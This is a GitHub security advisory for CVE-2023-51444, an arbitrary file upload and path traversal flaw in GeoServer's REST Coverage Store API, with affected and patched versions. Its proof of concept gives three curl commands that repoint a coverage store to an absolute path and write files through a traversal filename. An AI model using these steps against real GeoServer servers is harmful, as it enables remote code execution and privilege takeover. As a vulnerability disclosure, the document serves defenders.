Headline
GHSA-9v5q-2gwq-q9hq: Arbitrary file upload vulnerability in GeoServer's REST Coverage Store API
Summary
An arbitrary file upload vulnerability exists that enables an authenticated administrator with permissions to modify coverage stores through the REST Coverage Store API to upload arbitrary file contents to arbitrary file locations which can lead to remote code execution.
Details
Coverage stores that are configured using relative paths use a GeoServer Resource implementation that has validation to prevent path traversal but coverage stores that are configured using absolute paths use a different Resource implementation that does not prevent path traversal.
PoC
Step 1 (create sample coverage store): curl -vXPUT -H"Content-type:application/zip" -u"admin:geoserver" --data-binary @polyphemus.zip “http://localhost:8080/geoserver/rest/workspaces/sf/coveragestores/filewrite/file.imagemosaic” Step 2 (switch store to absolute URL): curl -vXPUT -H"Content-Type:application/xml" -u"admin:geoserver" -d"<coverageStore><url>file:///{absolute path to data directory}/data/sf/filewrite</url></coverageStore>" “http://localhost:8080/geoserver/rest/workspaces/sf/coveragestores/filewrite” Step 3 (upload arbitrary files): curl -vH"Content-Type:" -u"admin:geoserver" --data-binary @file/to/upload “http://localhost:8080/geoserver/rest/workspaces/sf/coveragestores/filewrite/file.a?filename=…/…/…/…/…/…/…/…/…/…/file/to/write” Steps 1 & 2 can be combined into a single POST REST call if local write access to anywhere on the the file system that GeoServer can read is possible (e.g., the /tmp directory).
Impact
This vulnerability can lead to executing arbitrary code. An administrator with limited privileges could also potentially exploit this to overwrite GeoServer security files and obtain full administrator privileges.
References
https://osgeo-org.atlassian.net/browse/GEOS-11176 https://github.com/geoserver/geoserver/pull/7222
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- GitHub Advisory Database
- GitHub Reviewed
- CVE-2023-51444
Arbitrary file upload vulnerability in GeoServer’s REST Coverage Store API
High severity GitHub Reviewed Published Mar 19, 2024 in geoserver/geoserver • Updated Mar 20, 2024
Package
maven org.geoserver:gs-platform (Maven)
Affected versions
< 2.23.4
= 2.24.0
Patched versions
2.23.4
2.24.1
maven org.geoserver:gs-restconfig (Maven)
Description
Published to the GitHub Advisory Database
Mar 20, 2024
Last updated
Mar 20, 2024